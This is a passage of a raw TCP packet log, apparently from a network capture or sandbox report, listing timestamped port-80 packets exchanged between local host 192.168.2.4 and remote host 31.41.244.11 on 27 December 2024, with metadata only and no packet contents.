Dec 27, 2024 08:46:31.359586954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.359635115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.359688997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.359736919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.360647917 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.360704899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.360750914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.360797882 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.361756086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.361804008 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.361834049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.361876965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.362792969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.362837076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.362910986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.362970114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.363879919 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.363929033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.363977909 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.364027023 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.364989042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.365032911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.365123987 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.365181923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.366014004 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.366070986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.366115093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.366161108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.367094040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.367156982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.367175102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.367221117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.368170977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.368222952 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.368278980 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.368319988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.369235039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.369262934 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.369283915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.369306087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.370311975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.370357990 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.370400906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.370438099 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.371386051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.371433020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.371479034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.371524096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.372507095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.372566938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.372598886 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.372644901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.373575926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.373627901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.373626947 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.373670101 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.374605894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.374650955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.374732971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.374778032 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.375683069 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.375729084 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.375782013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.375823021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.376744032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.376800060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.376846075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.376895905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.377829075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.377876997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.377937078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.377979040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.378878117 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.378923893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.378976107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.379017115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.379961014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.380013943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.380062103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.380104065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.381040096 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.381089926 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.381134033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.381175041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.382126093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.382194042 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.382215977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.382265091 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.383193970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.383244038 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.383300066 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.383352995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.384249926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.384314060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.384354115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.384394884 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.385409117 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.385459900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.385556936 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.385600090 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.386395931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.386444092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.386574030 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.386617899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.387473106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.387511015 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.387521982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.387554884 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.388540983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.388592958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.388665915 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.388709068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.389630079 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.389681101 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.389703989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.389745951 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.390791893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.390841961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.390866041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.390906096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.391944885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.391992092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.392035007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.392075062 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.392848969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.392896891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.392967939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.393007994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.393896103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.393940926 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.393990040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.394028902 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.394972086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.395021915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.395103931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.395143032 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.396120071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.396173000 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.396255970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.396296024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.397131920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.397150040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.397178888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.397196054 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.398192883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.398240089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.398278952 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.398319960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.544003963 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.544085026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.544131994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.544162989 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.544550896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.544595003 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.544600010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.544650078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.545650005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.545701027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.545748949 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.545794010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.546727896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.546778917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.546783924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.546833992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.547754049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.547802925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.547847033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.547888041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.548857927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.548904896 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.548938036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.548983097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.549892902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.549940109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.550000906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.550045967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.550976038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.551023006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.551068068 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.551129103 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.552038908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.552088976 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.552171946 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.552217960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.553138971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.553189039 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.553221941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.553280115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.554205894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.554266930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.554312944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.554359913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.555357933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.555391073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.555412054 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.555424929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.556328058 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.556385040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.556437016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.556485891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.557423115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.557473898 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.557565928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.557610989 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.558490038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.558542013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.558584929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.558629990 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.559636116 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.559655905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.559700012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.560628891 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.560683966 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.560729027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.560779095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.561728954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.561784983 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.561811924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.561858892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.562772989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.562828064 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.562896013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.562954903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.563880920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.563939095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.563956022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.564004898 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.564925909 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.564980984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.565026999 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.565078020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.565994024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.566045046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.566092014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.566139936 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.567074060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.567122936 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.567172050 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.567214012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.568159103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.568206072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.568250895 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.568294048 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.569214106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.569273949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.569323063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.569370031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.570307016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.570374012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.570432901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.570477962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.571357012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.571412086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.571469069 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.571512938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.572451115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.572510004 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.572566032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.572618008 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.573513031 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.573561907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.573613882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.573668003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.574611902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.574657917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.574714899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.574759007 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.575679064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.575731993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.575752020 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.575795889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.576731920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.576781988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.576817989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.576858997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.577784061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.577836037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.577888966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.577939987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.578860998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.578913927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.578964949 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.579004049 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.579955101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.580018997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.580156088 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.580200911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.581039906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.581089020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.581103086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.581140041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.582079887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.582133055 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.582190990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.582236052 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.583173990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.583228111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.583256960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.583306074 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.584223986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.584292889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.584325075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.584368944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.585289001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.585345984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.585381031 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.585427046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.586379051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.586432934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.586469889 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.586513996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.587428093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.587490082 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.587534904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.587580919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.588522911 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.588582993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.588627100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.588673115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.589608908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.589660883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.589701891 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.589744091 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.590651035 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.590698957 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.590775013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.590812922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.591782093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.591830969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.591912985 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.591952085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.592813969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.592856884 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.592895985 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.592936039 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.593882084 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.593929052 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.593966961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.594010115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.594964027 CET	80	49839	31.41.244.11	192.168.2.4
